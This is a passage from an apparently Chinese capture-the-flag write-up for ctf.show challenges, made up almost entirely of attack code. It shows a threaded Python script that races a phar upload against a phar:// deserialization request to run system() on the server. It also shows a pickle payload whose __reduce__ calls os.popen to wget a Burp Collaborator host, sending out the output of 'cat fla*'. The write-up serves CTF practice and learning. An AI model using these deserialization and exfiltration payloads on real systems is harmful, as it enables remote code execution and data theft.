$phar->stopBuffering();
?>
python竞争脚本:
import requests
import threading
url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/"
f=open("./yn.phar","rb")
content=f.read()
def upload(): #上传1.phar,内容是本地文件:phar.phar
requests.post(url=url+"?fn=1.phar",data=content)
def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令
r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{"in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sac0IKbN-1630731234207)(http://images2.5666888.xyz//image-20210904113338191.png)]
利用burp的Collaborator client
外带
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return (os.popen, ('wget z994qip2ejzbdjrvv9c5hfl68xen2c.burpcollaborator.net?a=`cat fla*`',))
print(base64.b64encode(pickle.dumps(RunCmd())))